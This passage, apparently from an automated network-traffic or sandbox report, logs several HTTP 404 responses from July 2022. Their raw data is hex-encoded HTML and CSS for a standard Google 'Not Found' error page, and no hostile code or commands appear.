6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:17 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:18 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:20 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:21 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:27 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:31 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
